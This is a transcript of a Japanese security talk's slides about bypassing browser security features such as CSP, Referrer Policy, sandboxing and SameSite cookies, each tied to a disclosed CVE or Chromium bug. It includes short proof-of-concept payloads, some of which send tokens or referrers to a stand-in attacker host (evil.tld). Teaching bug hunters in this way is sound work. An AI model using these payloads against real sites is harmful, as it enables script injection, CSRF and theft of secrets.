ブラウザセキュリティ機能はバイパスされる為にある

ブラウザセキュリティ機能はバイパスされる為にある小勝純 @shhnjk

Agenda <script>time_remaining = true;</script> while(time_remaining) { • 機能説明 • バイパス
}

＊-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなどオリジンが継承される所にポリシーが継承されないことがある

＊-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなどオリジンが継承される所にポリシーが継承されないことがあるオリジンが継承される所とは： • Blob URL •
Javascript URL • about:blank • iframe srcdoc など

Content Security Policyとは許可されていないスクリプトやリソースをブロックするセキュリティ機能同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’;

Content Security Policyとは許可されていないスクリプトやリソースをブロックするセキュリティ機能同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’; 正しいNonceが指定されたスクリプトのみ許可 Content-Security-Policy:
script-src ‘nonce-ramdom’; <script nonce=”random”>alert(1) // allowed</script> <script nonce=”guess”>alert(1) // blocked</script>

CSPのバイパス以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1))

CSPのバイパス以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1)) 以下の様にJavascript URLを使うことで、SafariでCSPがバイパス出来た https://victim.tld/vulnerable_endpoint.html#javascript:alert(1) CVE-2018-4118

CSPのバイパス２以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”)

CSPのバイパス２以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”);
location.href=”//victim.tld/robots.txt”

CSPのバイパス２以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld https://victim.tld#javascript:alert(1) button.onclick =
() => { window.open(location.hash.slice(1), ”new”); } window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”); location.href=”//victim.tld/robots.txt”

CSPのバイパス２以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://victim.tld/robots.txt https://victim.tld#javascript:alert(1) button.onclick =
() => { window.open(location.hash.slice(1), ”new”); } https://victim.tld/robots.txtにCSPが設定されていない場合はChromeとSafariでバイパスが可能だった CVE-2017-15387: $1000 each No CSP

Referrer Policyとは Referrerをどんな場合に送るかを指定出来るセキュリティ機能 Referrerを常に送信しない Referrer-Policy: no-referrer 同一オリジンへのリクエストに対してのみ Referrerを送る Referrer-Policy: same-origin

Referrer Policyのバイパス about:blankベージを開いてもChromeではReferrer Policyが継承されていなかった Referrer-Policy: no-referrer w = window.open("about:blank"); w.document.write("<img
src=https://evil.tld>"); CVE-2018-6048: $500

CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>

CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>
allow-same-originが指定されない限りサンドボックス内のオリジンは Opaque オリジンとなるオリジンが変わってもURLは変わらない為、色々なバグが発生する

Service WorkerとCSPサンドボックスの問題 Service Workerが登録されたオリジン内のリクエストは Service Workerを経由する様になる navigator.serviceWorker. register(“sw.js”); fetch(“/”);
self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); })

Service WorkerとCSPサンドボックスの問題 ChromeではCSPサンドボックスされたページからのリクエストも Service Workerを経由してしまっていた為、サンドボックス外のオリジンの情報が取得出来た CVE-2019-5811: $2000 alert(self.origin); //
null fetch(“/”); self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); }) https://victim.tld/sandbox

SameSiteクッキー同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict

SameSiteクッキー同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict Laxはトップレベルナビゲーションのみクロスサイトからでも送られる ※クロスサイトからの Postメソッドのトップレベルナビゲーションには送られない
Set-Cookie: secret=2; SameSite=Lax

SameSite Strictのバイパス rel=”noopener”を使うと新しく開かれるタブとの関連性を消せるが、 SameSiteクッキーまでもが送られてしまっていた <a href="https://victim.tld/" rel="noopener" target="_blank">CSRF</a> https://crbug.com/830091: $2000

SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie
クロスサイトから埋め込まれても送られない

SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie
https://evil.tld https://victim.tld secret=Lax https://victim.tld クロスサイトから埋め込まれても送られないトップフレームが同一サイトだと送られていた CVE-2018-18351: $1000

Dangling markup mitigation リソースリクエストの中に\nと<が含まれるものをブロックするChromeのセキュリティ機能 https://www.chromestatus.com/feature/5735596811091968  <img
src=’https://evil.tld/?  <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> ユーザの関与なしに送られるリクエストのみを対象としている

Dangling markup mitigationのバイパス Data URLをパースする際スペースや改行が消されるので、 Data URL内のimgタグのリクエストには改行が存在しなくなる  <iframe src=’data:text/html,<img src=”https://evil.tld/?  <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> https://crbug.com/749852 : $500

クロスオリジン<a download>の無効化クロスオリジンなダウンロードを無効化しナビゲーションに変更する Chromeのセキュリティ機能 https://www.chromestatus.com/feature/4969697975992320 <a href=”https://victim.tld” download>Navigate instead
of download</a> クロスオリジンな強制ダウンロードは悪用されたこともあった https://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf

クロスオリジン<a download>の無効化のバイパスクロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複

クロスオリジン<a download>の無効化のバイパスクロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複
一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーションに変更する為、様々なバグを生み出してくれる

クロスオリジンframebustingのブロックユーザの関与がないクロスオリジンな framebustingをブロックするChromeのセキュリティ機能 https://www.chromestatus.com/feature/5851021045661696 https://victim.tld https://evil.tld top.location.href = “phish”;

クロスオリジンframebustingのブロックのバイパスダウンロードリクエストがリダイレクトしナビゲーションに変わる際、どのフレームがリクエストを開始したかの情報が伝わっておらず、条件なしでトップフレームがナビゲートされてしまっていた https://victim.tld https://evil.tld <a href=”redirect?url=//phish.tld” id=”link” download>go</a>
link.click(); CVE-2019-5822: $500

伝えたかったこと • バグハント/診断対象がセキュアだろうと思い込んではいけない

伝えたかったこと • バグハント/診断対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない

伝えたかったこと • バグハント/診断対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい

伝えたかったこと • バグハント/診断対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい • 新しい機能の追加はそれ以前にある全ての機能との相性を考慮する必要がある

Import Mapsで何をバイパスできるか考えてみよう <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs": [ "std:kv-storage",
"/path/to/kv-storage-polyfill.mjs" ] }} </script> <script type="module"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; </script> https://developers.google.com/web/updates/2019/03/kv-storage#import_maps 今日紹介したセキュリティ機能の何かがバイパス出来ます！考えてみましょう！ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は次のスクリプトを読み込んでくれるマップ

CSPのバイパス３ Content-Security-Policy: script-src: ‘nonce-random’; <script type="importmap"> { "imports": { "/path/to/kv-storage-polyﬁll.mjs":
[ "data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)}; export {storage};" ] }}</script> <script type="module" nonce="random"> import {storage} from '/path/to/kv-storage-polyﬁll.mjs'; storage.set('test', '1'); // alert(1) </script> Nonceを指定しなくてもマップを作れてしまう https://crbug.com/941340: $1000 アイディアが浮かんだ方はみんな正解！

Questions? https://victim.tld/agenda.html?fake_xss=<script>time_remaining = true;</script> <script>time_remaining = true;</script> while(time_remaining) { •
機能説明 • バイパス } The XSS Auditor refused to execute a script Uncaught ReferenceError: time_remaining is not deﬁned

ブラウザセキュリティ機能はバイパスされる為にある

ブラウザセキュリティ機能はバイパスされる為にある

Jun Kokatsu

More Decks by Jun Kokatsu

Other Decks in Research

Featured

Transcript